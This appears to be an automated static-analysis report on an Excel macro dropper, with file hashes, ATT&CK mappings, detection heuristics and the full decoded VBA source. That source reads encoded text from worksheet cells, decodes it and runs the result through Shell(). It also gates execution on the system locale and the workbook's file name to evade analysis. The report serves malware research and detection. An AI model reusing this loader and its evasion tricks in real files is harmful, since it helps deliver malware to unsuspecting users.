Xls.Dropper.Agent-7577356-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 99f34ed19ee8159d…

MALICIOUS

Office (OLE)

67.0 KB Created: 2020-01-31 12:25:17 First seen: 2020-07-24
MD5: f84b5d771d0d19b24b17f385e0655468 SHA-1: 7a285ed68d0e56e70aed525f9019a103ec441485 SHA-256: 99f34ed19ee8159d95e9582546d0db7760aa234bf939cb9a47d37e5857fd12d0
140 Risk Score

Malware Insights

Xls.Dropper.Agent-7577356-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristic 'OLE_VBA_SHELL' indicates the presence of a Shell() call within the VBA macros. This function is used to execute external commands, strongly suggesting the macro's purpose is to download and run a secondary payload. The ClamAV detection name 'Xls.Dropper.Agent-7577356-0' further supports this dropper functionality.

Heuristics 3

  • ClamAV: Xls.Dropper.Agent-7577356-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7577356-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2007 bytes
SHA-256: cd351f1cac48b61d088c2e1a924d1dab5ab8d086161c7d5eb68daf56dc4735e3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const ogg = 10
Const j = 1
Function Personolizza(f As String)
Dim Stampa() As String
Stampa() = Split(f)
cd = ""
ks = Application.CountA(Stampa)
For y = 0 To ks - j
cd = cd + Mid(Stampa(y), j, j) + Right(Stampa(y), j)
Next y
Personolizza = cd
End Function
Sub messagio()
If (msoAnimationDisappear * ogg * ogg + ogg + ogg) / 3 <> Riento Then Gestione
bool = al(ogg + ogg, 38 - ogg)
End Sub
Function al(ro, ce As Integer)
Dim pee As String: pee = "": Dim i As Integer
For i = ro To ce
fq = Cells(i, 5)
pee = pee + fq
Next i
Shell Left(Replace(Personolizza(pee), "!", " "), Len(Replace(Personolizza(pee), "!", " ")) - j), msoButtonSetAbortRetryIgnore - ogg: Dim P As Workbook: Set P = Workbooks.Add
End Function
Private Function Aumenta()
Aumenta = msoLanguageIDUI
End Function
Private Function Riento()
Riento = Application.LanguageSettings.LanguageID(Aumenta)
End Function
Sub Gestione()
ActiveWorkbook.Close savechanges:=False
End Sub



Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Pachetti, 1, 0, MSForms, Frame"
Attribute VB_Control = "documento, 3, 1, MSForms, CommandButton"
Function Annulla()
kl = ActiveWorkbook.Name
If kl Like "*_*" Then Annulla = 2 Else Questa_cartella_di_lavoro.Gestione
End Function
Private Sub Pachetti_Layout()
If Annulla > 0 Then Questa_cartella_di_lavoro.messagio
End Sub


Private Sub documento_Click()
Pachetti_Layout
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.